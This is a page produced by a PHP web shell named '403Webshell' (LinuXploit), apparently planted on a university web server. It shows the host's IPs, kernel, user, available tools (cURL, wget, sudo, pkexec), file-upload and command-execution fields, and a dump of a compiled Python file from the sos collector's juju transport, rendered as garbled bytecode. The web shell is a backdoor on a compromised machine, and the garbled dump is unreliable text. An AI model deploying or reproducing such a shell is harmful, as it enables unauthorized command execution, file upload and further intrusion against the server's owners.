403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/sos/collector/transports/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/sos/collector/transports/__pycache__/juju.cpython-36.pyc
3

3��d�
�@s@ddlZddlmZddlmZddlmZGdd�de�ZdS)�N)�JujuNotInstalledException)�RemoteTransport)�sos_get_command_outputc@sZeZdZdZdZdZdd�Zdd�Zdd	d
�Zdd�Z	e
d
d��Ze
dd��Zdd�Z
dS)�JujuSSHa
    A "transport" that leverages `juju ssh` to perform commands on the remote
    hosts.

    This transport is expected to be used in juju managed environment, and the
    user should have the necessary credential for accessing the controller.
    When using this transport, the --nodes option will be expected to be a
    comma separated machine IDs, **not** IP addr, since `juju ssh` identifies
    the ssh target by machine ID.

    Examples:

    sos collect --nodes 0,1,2 --no-local --transport juju --batch

    Zjuju_sshZubuntucCsDd}ytj|tjdd�Wn$tjk
r>|jd�t�YnXdS)Nzjuju versionT)�stderr�shellzFailed to check `juju` version)�
subprocess�check_output�STDOUT�CalledProcessError�	log_errorr)�self�cmd�r�/usr/lib/python3.6/juju.py�_check_juju_installed's

zJujuSSH._check_juju_installedcCsV|j�d|��}ytj|tjdd�Wn*tjk
rP|jd|�d���YnXdS)Nz sudo chmod o+r T)rrzFailed to make z world-readable)�remote_execrr	r
rr)r
�fnamerrrr�_chmod0szJujuSSH._chmod�cCs|j�|_|jS)N)r�
_connected)r
Zpasswordrrr�_connect9s
zJujuSSH._connectcCsdS)NTr)r
rrr�_disconnect=szJujuSSH._disconnectcCs|jS)N)r)r
rrr�	connected@szJujuSSH.connectedcCs:|jjd�\}}|rd|��nd}|�d|��}d|��S)N�:z-m r� z	juju ssh )�address�split)r
�modelZ
target_option�model_optionZoptionrrrrDszJujuSSH.remote_execcCs\|j|�|jjd�\}}|r(d|��nd}d|�d|�d|�d|��}t|�}|ddkS)	Nrz-m rz	juju scp z -- -r rZstatusr)rrrr)r
r�destrZunitrr�resrrr�_retrieve_fileKs
zJujuSSH._retrieve_fileN)r)�__name__�
__module__�__qualname__�__doc__�nameZdefault_userrrrr�propertyrrr"rrrrrs		
r)rZsos.collector.exceptionsrZsos.collector.transportsrZ
sos.utilitiesrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit